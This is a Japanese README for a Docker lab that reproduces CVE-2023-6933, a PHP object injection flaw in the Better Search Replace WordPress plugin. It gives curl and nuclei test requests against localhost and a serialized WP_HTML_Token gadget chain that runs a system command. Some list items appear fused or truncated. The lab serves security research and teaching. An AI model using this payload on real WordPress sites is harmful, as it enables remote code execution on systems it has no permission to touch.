
CVE-2023-6933のハンズオンラボ。Better Search Replace WordPressプラグインのPHPオブジェクトインジェクション脆弱性に関するもので、Dockerデプロイ、nucleiテンプレート、およびセキュリティ研究と教育のためのエクスプロイトスクリプトを含みます。
このラボ環境は、Better Search Replace WordPress プラグイン(バージョン ≤1.4.4)における重大な PHP オブジェクトインジェクション脆弱性 CVE-2023-6933 を実演します。
/wp-admin/admin-ajax.php、アクション search_replace_db# リポジトリのクローン
git clone https://github.com/Trex96/vulnerable-bsr-lab-CVE-2023-6933.git
cd vulnerable-bsr-lab-CVE-2023-6933
# Docker Hub イメージを使用してデプロイ(自動プル)
docker-compose up -d
ラボは自動的に以下を実行します:
trex999/vulnerable-bsr-lab:latest# 自動化 PoC の実行
nuclei -t nuclei-templates/cve-2023-6933.yaml -target http://localhost:8080 -v
# curl による手動テスト
curl -X POST "http://localhost:8080/wp-admin/admin-ajax.php" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d 'action=search_replace_db&search_for=O:8:"stdClass":1:{s:6:"marker";s:34:"nuclei_test_payload_demonstration";}&replace_with=test'
Better Search Replace プラグインは、その AJAX ハンドラに PHP オブジェクトインジェクションの脆弱性を含んでいます。脆弱性は以下の場合に発生します:
search_for パラメータを介して POST で /wp-admin/admin-ajax.php に渡されるsearch_replace_db に設定されている当社の nuclei テンプレートは、複数の確認段階を通じて脆弱性を実証します:
nuclei テンプレート(nuclei-templates/cve-2023-6933.yaml)はプロフェッショナルに構成されています:
$ nuclei -t nuclei-templates/cve-2023-6933.yaml -target http://localhost:8080 -v
[CVE-2023-6933:plugin_version] [http] [critical] http://localhost:8080/wp-content/plugins/better-search-replace/README.txt ["trunk"]
[CVE-2023-6933:tested_up_to] [http] [critical] http://localhost:8080/wp-content/plugins/better-search-replace/README.txt ["6.4"]
[CVE-2023-6933:response_content] [http] [critical] http://localhost:8080/wp-admin/admin-ajax.php ["0"]
[CVE-2023-6933:poc_verification] [http] [critical] http://localhost:8080/wp-admin/admin-ajax.php ["0"]
[INF] Scan completed in 67ms. 4 matches found.
PoC は以下を成功裏に実証しました:
⚠️ 警告:この環境には意図的に脆弱なソフトウェアが含まれています。隔離されたテスト環境でのみ使用してください。本番環境やインターネットにアクセス可能なシステムにはデプロイしないでください。
docker-compose down -v
教育およびセキュリティ研究目的で作成
Docker_LAB_SETUP/)cve_2023_6933_exploit.php - 包括的な PHP エクスプロイトツールキットwp_html_token_poc.php - WordPress 6.4.0+ の RCE 実証bsr_direct_exploit.php - 直接脆弱性テストnuclei-templates/cve-2023-6933.yaml - 高度な nuclei テンプレートmanual-test.sh - 包括的な手動テストスクリプトこのラボでは、脆弱性研究のベストプラクティスに従ったエラーベースではない検出を実演します:
HTTP 500 エラーに依存する代わりに、当社のツールは以下を検出します:
WordPress 6.4.0+ の WP_HTML_Token クラスを実際の RCE に利用:
O:13:"WP_HTML_Token":4:{
s:13:"bookmark_name";s:14:"touch /tmp/rce";
s:9:"node_name";s:8:"testnode";
s:21:"has_self_closing_flag";b:0;
s:10:"on_destroy";s:6:"system";
}
admin-ajax.php)# 基本的なプラグイン存在確認
curl "http://localhost:8080/wp-content/plugins/better-search-replace/readme.txt"
# 安全なペイロードで脆弱性テスト
curl -X POST "http://localhost:8080/wp-admin/admin-ajax.php" \
-d "action=bsr_search_replace&search_for=O:8:\"stdClass\":1:{s:4:\"test\";s:8:\"nuclei\";}&replace_with=safe&select_tables[]=wp_posts&dry_run=1"
| サービス | URL | 認証情報 |
|---|---|---|
| WordPress | http://localhost:8080 | admin/admin |
| phpMyAdmin | http://localhost:8081 | root/rootpassword |
このラボでは、以下の実践的な経験を提供します:
作者: Trex
ラボバージョン: 2.0 - 拡張 PoC 手法